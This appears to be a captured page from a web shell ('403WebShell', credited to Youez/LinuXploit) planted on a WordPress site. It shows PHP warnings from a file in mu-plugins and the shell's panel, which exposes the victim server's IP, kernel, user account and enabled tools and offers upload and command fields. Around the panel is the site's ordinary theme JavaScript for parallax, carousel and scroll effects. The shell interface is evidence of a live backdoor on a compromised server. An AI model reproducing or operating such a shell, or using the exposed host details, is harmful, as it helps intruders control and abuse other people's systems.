Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/alexvillarreal/wp-content/themes/alex-villarreal/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/alexvillarreal/wp-content/themes/alex-villarreal/js/main.js
/* Placeholder para IE 9 */
// $('input, textarea').placeholder();

var isMobile = {
    Android: function() { return navigator.userAgent.match(/Android/i); },
    BlackBerry: function() { return navigator.userAgent.match(/BlackBerry/i); },
    iOS: function() { return navigator.userAgent.match(/iPhone|iPad|iPod/i); },
    Opera: function() { return navigator.userAgent.match(/Opera Mini/i); },
    Windows: function() { return navigator.userAgent.match(/IEMobile/i); },
    any: function() { return isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows(); }
};

function isIE() {
    if ( navigator.userAgent.indexOf('MSIE') !== -1 || navigator.appVersion.indexOf('Trident/') > 0 ) {
        return true;
    } else {
        return false;
    }
}

function soporteParallax() {
    if ( !isMobile.any() && !isIE() ) {
        $('body').addClass('parallax');
    }
}

function scrollToAnimation() {
    $("a#btn-cumbre[href*=#], .hero-alexV a[href*=#]:not([href=#])").click(function() {
        if (location.pathname.replace(/^\//, "") == this.pathname.replace(/^\//, "") && location.hostname == this.hostname) {
            var n = $(this.hash);
            if (n = n.length ? n : $("[name=" + this.hash.slice(1) + "]"), n.length) return $("html,body").animate({
                scrollTop: n.offset().top
            }, 1e3), !1
        }
    })
}

$(document).ready(function () {
	soporteParallax();
    scrollToAnimation();

	$('.frase-texto-part-1').fitText(1.5	, {
		minFontSize: "18px",
		maxFontSize: "34px"
	});

	$('.frase-texto-part-2').fitText(1.2, {
		minFontSize: "24px",
		maxFontSize: "77px"
	});

	$('.titulo-seccion').fitText(1.2, {
		minFontSize: "35px",
		maxFontSize: "60px"
	});

    $('.info-cuadro-home').fitText(1.25, {
        minFontSize: "15px",
        maxFontSize: "70px"
    });

    $('.letra-mascara h1').fitText(.80, {
        minFontSize: "10px",
        maxFontSize: "94px"
    });

    //slider-home

    var owl = $("#slider-alex");

    owl.owlCarousel({
        autoPlay        : 5100,
        paginationSpeed : 5100,
        goToFirstSpeed  : 5100,
        stopOnHover     : false,
        navigation      : false,
        singleItem      : true,
        autoHeight      : false,
        touchDrag       : false,
        mouseDrag       : false,
        transitionStyle : "fade"
    });


    // Anim-Postales

    var $animation_elements = $('.item-postal');
    var $window = $(window);

    function check_if_in_view() {
      var window_height = $window.height();
      var window_top_position = $window.scrollTop();
      var window_bottom_position = (window_top_position + window_height);

      $.each($animation_elements, function() {
        var $element = $(this);
        var element_height = $element.outerHeight();
        var element_top_position = $element.offset().top;
        var element_bottom_position = (element_top_position + element_height);

        var proporcion_anim = (element_height / 2) + (element_height / 3);

        // console.log(proporcion_anim);
        //check to see if this current container is within viewport
        if ((element_bottom_position >= window_top_position + proporcion_anim) &&
          (element_top_position <= window_bottom_position - proporcion_anim )) {
          $element.addClass('in-view');
        } else {
          $element.removeClass('in-view');
        }
      });
    }

    $window.on('scroll resize', check_if_in_view);
    $window.trigger('scroll');

    // var postales = $(".vertical");

    // postales.slick({
    //     dots: false,
    //     arrows: false,
    //     vertical: true,
    //     infinite: false,
    //     slidesToShow: 2,
    //     slidesToScroll: 1,
    //     // swipeToSlide: true,
    //     verticalSwiping: true,
    //     // verticalScrolling: true,
    //     responsive: [
    //         {
    //             breackpoint: 992,
    //             settings: {
    //                 dots: false
    //             }
    //         },
    //         {
    //             breackpoint: 768,
    //             settings: {
    //                 dots: false,
    //                 arrows: false
    //             }
    //
    //         }
    //   ]
    // });
    // .on('mousewheel', function(e) {
    //     e.preventDefault();
    //     console.log(e.originalEvent.wheelDelta);
    //     if (e.originalEvent.wheelDelta>0) {
    //         console.log('scroll');
    //         postales.slick('slickPrev');
    //     }
    //     else {
    //         console.log('false');
    //         postales.slick('slickNext');
    //     }
    // });


    $(window).scroll(function(){
        if ($(this).scrollTop() > 500) {
            $('.btn-top, #btn-cumbre').css('opacity', '1');
        } else {
            $('.btn-top, #btn-cumbre').css('opacity', '0');
        }
    });

    //Click event to scroll to top
    $('.btn-top').click(function(){
        $('html, body').animate({scrollTop : 500},800);
        return false;
    });

    $(window).on('load', function(){
        $('.home-video-container').prettyEmbed({
            videoID: 'PlblwP2oa-0',
            customPreviewImage: 'wp-content/themes/innovasport-women/img/home-video-caratula.jpg',
            customPreviewImage: '../img/caratula-video.jpg',
            useFitVids: true
        });
    });

});

Youez - 2016 - github.com/yon3zu
LinuXploit